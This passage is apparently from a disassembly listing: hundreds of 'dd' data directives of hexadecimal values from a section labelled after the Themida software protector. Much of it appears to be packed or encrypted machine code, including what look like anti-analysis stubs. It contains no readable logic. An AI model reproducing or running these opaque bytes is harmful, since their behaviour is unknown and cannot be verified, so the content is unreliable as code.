0A6A07B96h, 0E9346851h, 5Ah, 66A95831h dd 0BDCD5FBCh, 50473A3Bh, 0C81D2653h, 5FB06AADh, 7387157Ah dd 0A6473A3Bh, 0EE3AF217h, 3473A3Bh, 5FD874A8h, 3B96A27Ah dd 693F473Ah, 3A2C43B7h, 582683BCh, 2DD3A8EBh, 181C2715h dd 0A71B8E4h, 9AB2613Dh, 22A5h, 94E73400h, 2469D6B9h, 5695C6F9h dd 0A9587A0Ah, 0CD5FBC66h, 473A3BBDh, 5F865C5Fh, 470477C7h dd 589AB29Fh, 6A0267AAh, 473A3B4Ah, 8693F4C7h, 0F0154BF8h dd 1F76D1BBh, 2060493Ah, 0E02D1866h, 17EC7EA2h, 0C51B8437h dd 4BE65F29h, 0AD833B4h, 65B56780h, 88473A29h, 0CAB2FF25h dd 71E74FCBh, 0E619AFF5h, 0A27A5F3Ch, 473A3B96h, 0D9EC307Bh dd 66A95801h, 27525FBCh, 9DDC6712h, 9A861C47h, 54F3CFF7h dd 33E2h, 0A9582800h, 0CD5FBC66h, 473A3BBDh, 0D73C5D50h dd 3A3B3545h, 8FD5D847h, 77C75FF7h, 0B29F4704h, 0A2A1EA27h dd 3B83D745h, 4776473Ah, 23A54519h, 89000000h, 0BC66A958h dd 3BBDCD5Fh, 5C5F473Ah, 26525F86h, 9CDF6C13h, 0EF2C1140h dd 0A07CA09Fh, 9F470477h, 0D1A59AB2h, 89000000h, 267AA58h dd 3A3B566Ah, 0A3F0BB47h, 0EDDDDDA6h, 48D06093h, 0AA9FED14h dd 6B0166E5h, 473AE25Fh, 51B8FBB2h, 3A0577F5h, 5FD36B60h dd 0CC112A52h, 3360DFAFh, 6963B1F0h, 0E8533978h, 9D3978BBh dd 1A29525Fh, 6D76AAC9h, 0CFF79AB1h, 3BE254F3h, 28000000h dd 0BC66A958h, 3BBDCD5Fh, 0E750473Ah, 0F64ECEACh, 712D6C75h dd 4E3D7A5Fh, 5F13A3F1h, 0C91A2952h, 404B76AAh, 97C47F0Dh dd 0B2491554h, 4AA59Ah, 0E7340000h, 3A79AA95h, 525F4EE6h dd 23F91E2Dh, 473A3B17h, 6B6DB3FAh, 5F6D2976h, 3A3BBDCDh dd 29525F47h, 6BAAC91Ah, 2773290Eh, 3A473A3Bh, 79A4E952h dd 17AFF5B8h, 525FC75Fh, 0ADC81D26h, 2414A77h, 0EA27B258h dd 0A579A7A4h, 0F251E65Fh, 0D52C1929h, 71A628Fh, 3A8F4595h dd 6CBC7047h, 81473A8Fh, 67A6152Ah, 0BA8FF936h, 0DF3669D2h dd 4C91AAD2h, 3A8F6AB0h, 8FE99847h, 3B5CE795h, 2BE81B4Ah dd 82DEBB1Ah, 132C5041h, 0D19B09C2h, 0A1C9A388h, 54473AFEh dd 0BA3E3B59h, 0C374552h, 5DE692DFh, 0D1BBC61Ah, 463D1F76h dd 0CABBE0F9h, 0DB13FD33h, 0F791CF23h, 491899A4h, 67D849h dd 951D8503h, 23730152h, 3E41189Ch, 8EA3F04Bh, 371D4EFDh dd 98422E4Ah, 0DB559847h, 9D44E82Bh, 0D4A4F15Bh, 6CE1356Bh dd 494BD175h, 1Fh, 1C0577D1h, 3A3B7880h, 0DF1E9D47h, 3BAAFE8Eh dd 0A958473Ah, 92A7D54Fh, 0EC0F5CE7h, 5FC842ADh, 0C01C2752h dd 9BD2D3B9h, 0E287BB70h, 51B3E023h, 603C5DA2h, 491A07E5h dd 2C1761AEh, 1B7239F0h, 0E4054A39h, 305DE708h, 70A5084Fh dd 705590A4h, 40FB8D4Bh, 24ADDE13h, 0AF7B1007h, 5B88CB39h dd 4CE800F1h, 6EC20542h, 0F4285E3h, 0AA45A91Ah, 26h, 8DBAC0CDh dd 0D8671358h, 0EB29688Bh, 67AA585Bh, 3B4E6A02h, 0E6C3473Ah dd 1374B794h, 0A3CA7906h, 1BACh, 0AA589600h, 64DD0267h dd 0BAD2A92Eh, 2AFC20C4h, 473A760Ah, 4653B407h, 2BE30A39h dd 1A29525Fh, 12F69C6h, 3680000h, 3A3B4169h, 0DBF9B447h dd 62A5580Bh, 77D36BB8h, 78801C05h, 9D473A3Bh, 91AED11Eh dd 525F845Eh, 9AC51B28h, 0CFF79A00h, 33E254F3h, 28000000h dd 41E4E65Fh, 0D042B94h, 87C885D7h, 0BDCD5FDFh, 50473A3Bh dd 0D9182753h, 77C75F3Dh, 6A101D08h, 3BFF0BDDh, 9B12473Ah dd 9AB28258h, 3FA5h, 0A5588900h, 3B80A844h, 4675473Ah dd 7A5F5F07h, 1444D3Dh, 63FE3D5Ch, 0E7065796h, 0D7DBEFB9h dd 7E31473Ah, 0D16E1C19h, 6333618Ch, 877C75Fh, 7965DE3Bh dd 69A107A5h, 2D1A60A1h, 9AB25FF7h, 603A0577h, 0A958D36Bh dd 0F551BC66h, 0F3CFF79Ah, 38E254h, 58280000h, 272068A9h dd 0AE74B7F6h, 3BBDCD5Fh, 5D50473Ah, 77C75F81h, 7F8B6104h dd 92473A3Bh, 0B202D81Bh, 3EA59Ah, 0CF340000h, 3A3B0D5Dh dd 0D36C1047h, 0DFDE6382h, 0A958ED81h, 0CD5FBC66h, 473A3BBDh dd 0FE3B5C5Fh, 0D06CB08Bh, 477C75Fh, 0D4F94649h, 3BADFDAFh dd 6D40473Ah, 0F2DF512Ah, 0CA8DAAF5h, 9AB2D38Bh, 15460177h dd 3A3B3447h, 0E107D247h, 0E30A3543h, 4601772Bh, 9AA5D421h dd 0D7F62A49h, 55EE9Ah, 141068E1h, 10B0DB64h, 473A418Fh dd 1A5DEA90h, 0F3CE4638h, 0FEB39351h, 2106FFFFh, 3A393F4Bh dd 46920A47h, 0AB473A39h, 207C3F00h, 3BC4E88Ch, 0B646473Ah dd 34473A3Bh, 473A3BE1h, 872F71D2h, 631229E5h, 0B1EF2E19h dd 3AA0C717h, 0A0314547h, 63B3473Ah, 51873AA0h, 0D73C5DA2h dd 4894AFDAh, 1DA2FABEh, 0E2BA1F89h, 811FA6D6h, 493F703Bh dd 4F8EADFEh, 0BE05FE1Eh, 0A550C359h, 7E3D8F3Dh, 95FD8188h dd 7CC3DC2Fh, 306h, 2E39028Bh, 42AD9AE1h, 0FA15325Dh, 107BC4B5h dd 89E05F2Fh, 876BFA1h, 9BEFD03Bh, 2C5C45ACh, 0C5B7F813h dd 8FE8137Ah, 1DBDCD1Dh, 0BA6A2041h, 0DD3A0577h, 3B1424F8h dd 0B2F9473Ah, 463D5F6Eh, 3B3D4DDFh, 0DDD0473Ah, 1B187D9Ah dd 6083D06Fh, 0ECEF6A3Ch, 4D60491Ah, 44526222h, 7360411Dh dd 36E6CB2Ch, 411D44E2h, 1978A417h, 0BA93E734h, 0E23372D1h dd 0DACB9DC3h, 0B34F3D93h, 0E2BA9FF8h, 4B74C4D6h, 2D2C703Bh dd 0E2AD9CE0h, 0C6CB2265h, 8C588DB6h, 4B74C470h, 25429142h dd 54139A77h, 96E5345h, 4C444793h, 5103AA55h, 554C4409h dd 0A693C1ECh, 0D7A5F217h, 701C056Ch, 1665B2D7h, 9BB9E429h dd 2510242h, 935E37E5h, 0ECCF5B6Ch, 45FE8E8Bh, 0C4204824h dd 0E6D55FA7h, 726163BAh, 0F04B6697h, 84C7C699h, 22008963h dd 0EC295187h, 0C27FA5A2h, 6CA98EEBh, 28C42522h, 59FF7600h dd 5F9AC6F5h, 0B6FB122Dh, 9C287DC6h, 59FF1C48h, 0F66C847Dh dd 426FDCD0h, 43237725h, 0E7D659FFh, 51A45FB9h, 0A0C3102Bh dd 0F5940861h, 6657DF94h, 0CC6FBB71h, 2B8263D6h, 68AB98E6h dd 0AAD1DE3Bh, 5E15479Dh, 3324F811h, 1C6DF4BFh, 9496E991h dd 96A7D0CEh, 1AD8Bh, 0E05B2200h, 54F39889h, 0BC8BF43Dh dd 221D6C55h, 8BB8C6CBh, 2D660660h, 868BE261h, 0F33C57F4h dd 6E53BA85h, 3CA251Eh, 0B392A676h, 0D387411Dh, 64AB5853h dd 0ECF06903h, 7CB9491Ah, 32EF3512h, 7E3F38C1h, 7DBC5CA6h dd 0E8372C28h, 0F90E1D8Fh, 0CCEF4F3Fh, 9389BF3Ah, 8E91A2EFh dd 14Eh, 6681BAC3h, 9AF55239h, 325DEA95h, 0A8C37C0Dh, 0C1281767h dd 0C0CE07E9h, 53276883h, 0E4949DF4h, 7D0F305Bh, 0D7A0ABC2h dd 1DB33545h, 0F232D841h, 96A27A5Fh, 7B473A3Bh, 5C08Ah dd 8BCA77C4h, 3500355h, 0DFEB81E6h, 32473ABBh, 744367Bh dd 4653B8D9h, 9BDA0B38h, 6C2EA345h, 7C3F491Ah, 0C17A022Fh dd 364451A6h, 0DEAECB09h, 9FA3CDDFh, 4584C2ACh, 1D2DFF24h dd 0F0411271h, 64667BDh, 0BCC4BC4Dh, 0FC90B874h, 36854112h dd 5952ED4Dh, 0E65C6C00h, 0FAB14112h, 0DFCE5EBBh, 0B04F3231h dd 0E5B79CFDh, 4B6A66D5h, 242F7538h, 58B390FBh, 0F01B2857h dd 6681BACFh, 0CA750411h, 0FB065A99h, 7C5DB493h, 8D26338Bh dd 4AAF6EB7h, 6A4286D2h, 1C406B4Bh, 739AA9D5h, 0D8632966h dd 42DDEDBFh, 7D304B6Ah, 0D3701A27h, 0FC0177B8h, 6ABB1FF7h dd 43E7B4D7h, 0D218F481h, 0AB94FF3Eh, 262168E1h, 6EAB8CE7h dd 0B3FE2221h, 0F1178C7h, 32EA0F54h, 454AB083h, 0DF1C416Ch dd 345A28ADh, 3C6E86AEh, 632B9CFDh, 82759D7Eh, 0DF0C3B4Fh dd 0DC075D9Ch, 0F20696FBh, 27554D36h, 0E0BFE2Eh, 0A1E01CF2h dd 0F82D1A60h, 38867BDh, 7A000000h, 67773CBh, 0B9C3E83Dh dd 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh, 27529FCCh dd 0DDA2CF1Ch, 8BF03D6Eh, 53696FBCh, 0C381E389h, 4, 8704EB83h dd 895C241Ch, 1968240Ch, 89000079h, 10682434h, 8900002Dh dd 0BA522404h, 5C170A67h, 0C142D2F7h, 4A4207E2h, 0EA81DAF7h dd 55DB395h, 545AD689h, 8124048Bh, 4C4h, 4EC8100h, 89000000h dd 408F2434h, 2434FF08h, 4C48158h, 8B000000h, 89502434h dd 405E0h, 0C0830000h, 24048704h, 0F849E95Ch, 1CCCFFFAh dd 36A1D62Bh, 1FFA874Ch, 278A27B8h, 8BC50306h, 0FAE9C3h dd 66600000h, 0AE5DEA81h, 0EE8h, 0E55C9E00h, 0E3D3A80Eh dd 2787EFA7h, 0F0C6812h, 8Ah, 8D615B00h, 278B13B5h, 1850F06h dd 0F5000000h, 5745858Dh, 10E90625h, 0C5000000h, 0D309B6E7h dd 99DEB772h, 0BA1B9203h, 0FF3C5073h, 1850FD0h, 0FC000000h dd 8870FC3h, 0F000000h, 283h, 66616000h, 0F60D98Ch, 82h dd 28A0F00h, 56000000h, 0C1F66159h, 3F840F04h, 0F000000h dd 189h, 0FB8BF500h, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh dd 49D78BF9h, 0EBD98Bh, 13F20CDh, 0C00B0001h, 708D1874h dd 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh dd 0CF000000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 54C35242h, 11E256BBh, 11E982h, 0A3080000h, 0D0168EEDh dd 0A99DADE8h, 8713F2CEh, 0F5A79DCBh, 8B4E85C7h, 13F0627h dd 10E80001h, 6A000000h, 0C5188872h, 0EEA4C5A6h, 2C273152h dd 5059F1B2h, 0BE665A5Bh, 0C2810C89h, 59BFh, 5E9h, 2C1A7C00h dd 9DBF9B37h, 812EED98h, 0ED8EDFF7h, 99CB812Eh, 0FF2DD21Bh dd 0BB665932h, 0F1810A90h, 68A0B6F2h, 0C4B1BE66h, 0AB64F181h dd 81665F10h, 8185E8D6h, 2EF0AC1h, 0EAD0814Bh, 513518B5h dd 4104D381h, 28F78F4h, 0E7DEB866h, 0D9F1EA81h, 0BE66156Bh dd 0C281C885h, 156BD9EDh, 9E9h, 84618F00h, 0E8DE6406h dd 0F4F9ABBh, 0FFFFA685h, 0EE960FFh, 67000000h, 4D8CEB9Dh dd 0B1D5D7F4h, 7AF66191h, 0FE929h, 9CE50000h, 0AD0E8FDh dd 38FEA05Eh, 948C84B7h, 66E96149h, 60000002h, 0F6D98C66h dd 840F04C1h, 35h, 0B5FF016Ah, 62233A9h, 7DBE858Dh, 0D0FF0625h dd 7818589h, 0FE8B0622h, 680CEFC1h, 20060000h, 26A006Ah dd 0D6857h, 95FF0001h, 6220781h, 32E9h, 985C600h, 56062233h dd 0C530DF68h, 49B5FFA9h, 8D062226h, 257DBE85h, 89D0FF06h dd 22244185h, 0E1858D06h, 50062219h, 56A406Ah, 4195FF56h dd 61062224h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 8CF98589h, 428B0627h, 0F185890Ch dd 8B06278Ch, 85891042h, 6278CF5h, 8D2FB58Dh, 858D0627h dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 278CF9B5h, 0F1858B06h dd 8306278Ch, 278CF5BDh, 840F0006h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 0F9858908h, 8D06278Ch, 278D80B5h dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 278CF985h, 4C206h dd 8CF9858Bh, 8B0627h, 8CF98589h, 0CF0627h, 60000000h dd 8D56B589h, 85890627h, 6278D52h, 18CD858Dh, 408B0622h dd 8F858944h, 8D06278Dh, 278DC5B5h, 0A1858D06h, 0FF005B8Eh dd 858B61D0h, 6278D56h, 529D8BC3h, 0F06278Dh, 33C43B7h dd 785B8BD8h, 8D529D03h, 738B0627h, 52B50324h, 5606278Dh dd 8B207B8Bh, 0BD031C73h, 6278D52h, 8D52B503h, 83FC0627h dd 8B41FFC9h, 278D569Dh, 3178B06h, 278D5295h, 4C78306h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 278D5285h, 56858906h, 8B06278Dh, 8BCE8BF0h dd 8FBD81C1h, 6278Dh, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6278D8Fh dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 8FBD8100h dd 6278Dh, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 6278D8Fh, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0FD858DCFh dd 8906278Ch, 2225B585h, 93858D06h, 8906278Dh, 22311985h dd 5A858D06h, 8906278Dh, 220B3985h, 13CE906h, 4Fh dup(0) dd 0BD830000h, 6221B85h, 0DE840F01h, 0F000004h, 168Dh dd 11E900h, 74820000h, 1449D6E3h, 347A839Ah, 58804D60h dd 0C676F864h, 22330985h, 60604306h, 8DE7E081h, 0B70F590Fh dd 816661DFh, 61FA8BE1h, 0F9EA3468h, 890F60EBh, 6, 310F5250h dd 8161585Ah, 3AC12434h, 820F075Ch, 8, 665E5160h, 614F88B8h dd 2649B5FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0B88FBC3h, 0BE9A6h, 44490000h, 0C1DEAF17h dd 0A3735BA2h, 0BE858DEEh, 0E906257Dh, 10h, 0DDF3E7F8h dd 56AED9F8h, 1900BD9Fh, 34F8C2D3h, 800FD0FFh, 1, 698589FCh dd 0F062213h, 1981h, 14E900h, 29FD0000h, 0E03F26DDh, 1D5C36B1h dd 1984B2F1h, 0A616DC8Fh, 85C6A950h, 6223309h, 50006A50h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 18572F3Dh, 0D9260F9Ah, 0F6060DCh, 34BBD7BFh, 61308350h dd 0FE8h, 7B4F1D00h, 0E66B653Ah, 3F3210BAh, 4D512C1Ch dd 8E9h, 0D1E09F00h, 2733A64Bh, 0F9615ACEh, 13E960h, 89B80000h dd 9228A9EFh, 0EC3681C2h, 8A147985h, 3CAF2519h, 5DBF66B0h dd 0EB68612Bh, 5039666Eh, 68F0F52h, 0F000000h, 8Bh, 50310F00h dd 0F616052h, 0EE931h, 0DCB20000h, 0C5DF3F6Bh, 5EF4CED3h dd 0DB9416EAh, 585A585Ah, 6B240481h, 0E96F473Eh, 7, 87417C7Dh dd 0FFAF1159h, 222649B5h, 0C8816006h, 398DC5D6h, 0BE858D61h dd 6A06257Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0B541C350h, 502E388Fh, 0D0FFF5E1h dd 0EF68060h, 2810Fh, 0AAB20000h, 5850F61h, 60000000h dd 615857FCh, 2CC98589h, 8A600622h, 0D96861E2h, 0E9808E32h dd 11h, 184D88FDh, 0DB88AB50h, 0F35C0CF6h, 312BBDA0h, 2404813Eh dd 70017556h, 4E0EBB60h, 0FF6138A7h, 222649B5h, 7880F06h dd 0F000000h, 18Eh, 890FF800h, 0Eh, 9E9h, 28D6D000h, 347129B9h dd 858D0BF1h, 6257DBEh, 0DE9h, 0A0F77500h, 760E8BD1h, 0A056996Bh dd 0D0FFC6C6h, 0DB37BA60h, 0E9606778h, 14h, 57D6B92Fh dd 3B1CFC89h, 475D5329h, 2DAF3C5Ch, 0CBB7AD8h, 0E4A3C081h dd 61617C1Fh, 29018589h, 800F0622h, 10h, 0BE9h, 8B91900h dd 459E10D6h, 3AF78F3Ah, 330985C6h, 6A500622h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 3ADFC351h, 441851F1h, 78D0FB4h, 0F000000h, 189h, 0D468FC00h dd 50A67FBDh, 6EBB6052h, 535E9FCCh, 310F615Bh, 2850Fh dd 61600000h, 3481585Ah, 0E3618224h, 50006A31h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 96B0301Ch dd 0FCC79F60h, 0FBB70F60h, 0F08BF960h, 0B5FF6161h, 62233A9h dd 81665060h, 585239D9h, 0F1858D61h, 0F06223Ah, 1285h dd 0DE900h, 69D0000h, 6B0CD3A3h, 27C437CFh, 0FF80D209h dd 816660D0h, 6141F5D0h, 0FE9h, 4A159000h, 2D486519h, 50B09A8Bh dd 345F8673h, 3318589h, 10E90622h, 6C000000h, 6A7EA0DEh dd 3501D5E7h, 0A781357Dh, 0E91DF96Dh, 14Dh, 4850Fh, 8A600000h dd 50F861F1h, 860F5250h, 2, 310F6160h, 8E0F60h, 61000000h dd 2C89585Ah, 0EC8BF824h, 0CE9h, 4CE9E000h, 0F85D8A20h dd 0A29D7C59h, 0FCC4835Fh, 10E960F9h, 28000000h, 7405F024h dd 0A2655B5Ch, 2CBBDA97h, 0E80F65E6h, 0 dd 3CEA815Ah, 0C7062794h, 0FC45h, 0BA830000h, 6221B85h dd 98840F01h, 52000000h, 0F6A006Ah, 136992FFh, 895A0622h dd 278F0A82h, 0E9A8D06h, 5206278Fh, 12803C7h, 50530000h dd 2CC992FFh, 525A0622h, 8F0E9A8Dh, 0FF530627h, 278F0AB2h dd 3192FF06h, 5A062203h, 5074C00Bh, 8F0E9A8Dh, 7B8D0627h dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h dd 39348DEEh, 8D0C752Bh, 222235BAh, 0C4D8B06h, 0C032A4F3h dd 75FF52AAh, 35828D08h, 50062222h, 290192FFh, 0B5A0622h dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh dd 6A0008C2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E9AFC355h, 6, 826A2BA0h, 0FF5AA82h dd 0C8Bh, 68A0F00h, 0F000000h, 8Dh, 8DD28B00h, 2796478Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 6650A616h, 0D8D6E681h, 33F18D89h, 6A0622h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0E1B1C5C3h, 530B03E0h, 8A652E27h, 9E960E7h, 0CE000000h dd 4D82F747h, 0E130731Ah, 0FCD28060h, 820Fh, 61610000h dd 2D3185C7h, 64B00622h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0AE88DC3h, 36000000h dd 0BE99C3E8h, 0E0C22B18h, 0D59D23DAh, 5F06220Fh, 30E585C7h dd 622h, 0B5FF0000h, 6221311h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0E2C35646h, 0A31B611Ch, 0F03309D6h dd 8BD98A7Ah, 6595FFF8h, 6A062220h, 3E85500h dword_553E68 dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h ; DATA XREF: Themida_:0051DAA6o dd 4E13C355h, 742BEA45h, 95FF006Ah, 6223075h, 4BEBC08Bh dd 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh, 1B65EA77h dd 4FBEE627h, 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh dd 0A1F0C024h, 87602E08h, 7CBA3A0Eh, 79723574h, 0D1BDB1Bh dd 0A84D1880h, 959CFDA8h, 4F1A31CFh, 8D5B76BEh, 2797928Dh dd 95958B06h, 89062225h, 2233F18Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 6586E91Ah dd 4E2855EFh, 0EAB849CCh, 81195839h, 749C3AC6h, 3185C703h dd 0CC06222Dh, 6A000064h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 3FBFC350h, 870F66C3h dd 18h, 13E9h, 2EAEA100h, 85DDAE2Eh, 0EA474BC0h, 0F5162D95h dd 0D97C35A6h, 30E585C7h, 622h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 806DCCC3h dd 0B5FFC28Bh, 62225EDh, 0E63C5CBBh, 95FFF91Bh, 6222065h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FFC35040h dd 269908Eh, 8E95F71h, 58000000h, 0E5369811h, 6A4D9940h dd 7595FF00h, 8B062230h, 0D759EBC0h, 61476893h, 9C3D84Ch dd 0BE0891A6h, 0A9815F79h, 9727F27Ah, 68D494C9h, 0F2516B8Eh dd 95E5CDCCh, 593221Eh, 0F9966BB5h, 2AE580F0h, 4B6CE605h dd 0B25388B3h, 9395D85Eh, 6BEA0526h, 8C37079Dh, 0E2D55EF9h dd 41DE2F0Eh, 42419191h, 0F78E9C40h, 0FAA31F73h, 0F8712503h dd 9E8h, 21F38B00h, 81A6B95Fh, 0B58BC632h, 6220541h, 15BD2958h dd 81062216h, 595DC0h, 7DB50900h, 33062215h, 0FFC60FFh dd 0FF61C8BFh, 0B5310734h, 6221DD5h, 81D38B5Bh, 82EFC5C3h dd 6D85297Ch, 81062228h, 0EEF87EBh, 958D8B03h, 8106221Ch dd 2BF39DC3h, 0C5853145h, 53062200h, 0D88B6660h, 0DE8h dd 7572F900h, 71EB1009h, 9A84C5C6h, 95BE8453h, 5A27321Eh dd 38048F61h, 2609B533h, 0B58B0622h, 6220789h, 878EF81h dd 8D8B0F6Eh, 62205A5h, 874C781h, 0FF810F6Eh, 0FFFFA770h dd 1D850Fh, 81660000h, 0E94DEFF1h, 22h, 0A5DAA152h, 0E941BD4h dd 541359A9h, 7C7386CFh, 0E9B5ACFFh, 0FFFFFF63h, 0A61D1BCBh dd 0D0DD9BADh, 33E97BA9h, 9E000000h, 5B84D9h, 0Bh dup(0) dd 0E6E90000h, 74000005h, 0EAD73E09h, 464BA2A1h, 0BEE30A39h dd 281970CBh, 0B88ED966h, 300F7FB8h, 0A5A2E8D9h, 833454Ah dd 73CCB0E1h, 1488D118h, 411DA2C4h, 77BD6529h, 0C4E93A05h dd 3D628DBAh, 0A2A7F44Fh, 3B9BAF7Dh, 0F6A6473Ah, 473A3BA2h dd 0D0DB6457h, 2C17658Ch, 80BBCECBh, 97E4095Ch, 648D7BA8h dd 830B0804h, 1B5497C4h, 648DD370h, 0F3C42F18h, 2B69D2A6h dd 0A6C17A0Eh, 0D3340F79h, 5834B872h, 0E93780D9h, 5CEB9FDCh dd 3246D63Bh, 17473AB2h, 77B6E764h, 357C5CAh, 0F6473AB2h dd 0D5884C7h, 0DEA198E0h, 0BEF13C61h, 0C3B406Dh, 0A8C029DFh dd 0C127AA82h, 0C32A1563h, 0F9B3AEDEh, 473AB2D1h, 0E5366944h dd 3AB20457h, 2543AE47h, 0F3526FE2h, 674A51h, 77D00000h dd 5BE93A05h, 473A3B0Dh, 321A5EA3h, 0FE1BD851h, 0C81494FEh dd 0F33F114Ch, 0BA451h, 0EACF0000h, 3AAAE632h, 7CA00B47h dd 490477A0h, 89D4F946h, 0A3E80556h, 3162E1AAh, 4D62B3F2h dd 1DE6033Ch, 0F5898763h, 0DD0CE9A3h, 0E4B871F5h, 0FB6DB8E4h dd 512FA7Eh, 8FBCC37Ah, 80DC1F5Eh, 0DA351279h, 759CA7D5h dd 380777D9h, 96B5C6EBh, 0EB542471h, 0D85190B5h, 6BFA84A0h dd 3A3B69B1h, 0EE218C47h, 47008C89h, 0C3C9F619h, 68121F78h dd 499AA9D5h, 7BBAEB2Ah, 0A4EB0025h, 1FDA76A7h, 0D9CBB6D9h dd 0C00E51F3h, 0A9000000h, 7D8D1F44h, 90473A31h, 313F4B1Dh dd 0DBD2473Ah, 777E985h, 0B9C6EB38h, 59206D8Ah, 0FD6BB2EEh dd 51EA9F9Ch, 0B6B3E10Ch, 1969DA32h, 91B97365h, 84473A4Bh dd 8DFF4C29h, 800E2B69h, 0F64FA8C3h, 92A7DDF7h, 23A55E5Bh dd 0E8125976h, 830B366Ah, 917297C4h, 9A3689A0h, 0DDE438CAh dd 0CAD129ACh, 6D56C537h, 0AA57F92Ah, 0FB563B4Eh, 7E8351F2h dd 8B000000h, 1B28525Fh, 3B1A2EFEh, 0BCFF473Ah, 16355960h dd 6BD4A4F1h, 80A5FB3Ah, 0C5221D6Bh, 0E1C44D7Ch, 0CAA28B38h dd 473AA8BEh, 0C0195853h, 3AA81C2Ch, 66BAF147h, 0BE3A3747h dd 414AF54Eh, 0B79D49D0h, 0E233107Ah, 2A549DC3h, 5F58F21Dh dd 0F14E3D7Ah, 8BDF81ACh, 6E473A3Bh, 0A3E8114Fh, 0B11277A4h dd 94E41F42h, 0D1C0D2ABh, 354F62Ah, 0AB473A61h, 72EF2246h dd 4751F381h, 1, 810877CFh, 6B21C393h, 0A3F033D4h, 2445FE8Eh dd 4498A7D7h, 266EB21h, 87EE5D22h, 1871BEB5h, 88D4731Bh dd 67176449h, 34688BD8h, 18170192h, 9ECFEE49h, 0F7102B51h dd 49CE1A92h, 88234118h, 0E12E0B54h, 0C7138998h, 2A411849h dd 6A134083h, 5CE2D122h, 316FAE92h, 6ABB8408h, 0CDB0946Dh dd 0D358432Ch, 18D93159h, 96C9E441h, 0CA163559h, 18D9EA30h dd 1EE7E241h, 0DBA4EAD8h, 7FC3F6Ch, 513A9B2Ch, 846DB3F2h dd 83BCC064h, 0EB1F9D66h, 0CE0F5BD1h, 0CBE24118h, 7AA91A32h dd 7F7BB8ABh, 4589BD8h, 0C9B1FEDBh, 7B8F1D7Ah, 9E411859h dd 0D4B8C11Fh, 598BDF4Dh, 4F6E4118h, 0EA92DF0Ch, 91FB3851h dd 291679B6h, 7297D2EBh, 594B9F0Dh, 2E5E4118h, 9CA5C015h dd 266C311h, 86E15A22h, 0B5674CB1h, 41185965h, 27732588h dd 0CA411859h, 0E499BDE3h, 3D4BD179h, 553444D8h, 61294118h dd 25E5DE2h, 12603h, 0AB580B00h, 0AA690364h, 9B49182Ah dd 8CD16A1Eh, 0EC2F1C6Fh, 9AFB4CADh, 2D2004E6h, 0C5C6C00h dd 0FAB14118h, 2B4065BBh, 828FE661h, 0DF1C41FAh, 264192ADh dd 2755CF29h, 2C21F51Ch, 894BD1A5h, 41h, 6FA85891h, 8BEC2F1Ch dd 736C2911h, 0B4C7D411h, 0F9274697h, 0F0C6D40h, 519CC17Ah dd 1E2AFA03h, 20C73A3Bh, 0F44DBF39h, 68E56439h, 6670ACEBh dd 56C6236Ah, 91731FE2h, 568DE4D7h, 0A3h, 64AB58BCh, 3DC66903h dd 84374918h, 0E6651663h, 296663BAh, 76B5E665h, 0ABE95639h dd 2A45FE8Eh, 0DAA297E5h, 0E4C92E61h, 1835E008h, 7AA61541h dd 35B09123h, 0E14C4118h, 0EE3C8587h, 0CA65C2DFh, 0FC80A9F7h dd 1BC82843h, 5689B2DAh, 7E27B31h, 208B4F39h, 0BA21E2C7h dd 1293877h, 0B2C515C7h, 85284B70h, 0D907404Ch, 2C1D6F8Ch dd 0AF9CEE5Fh, 0BDFC3F7Eh, 392C5F5Ch, 70B25763h, 0B0F3BA4Bh dd 0E6F3596Ch, 75DE91Dh, 0E4386738h, 7D76DB1Dh, 0B4F75038h dd 217CD953h, 802D4551h, 0DD184DFAh, 5FDB739Ah, 3B96A27Ah dd 307B473Ah, 3B3545D7h, 0D5D8473Ah, 49964D8Fh, 0D3E17C30h dd 6D52491Bh, 0A2449408h, 2A9411Dh, 1DA20652h, 9CC0EB41h dd 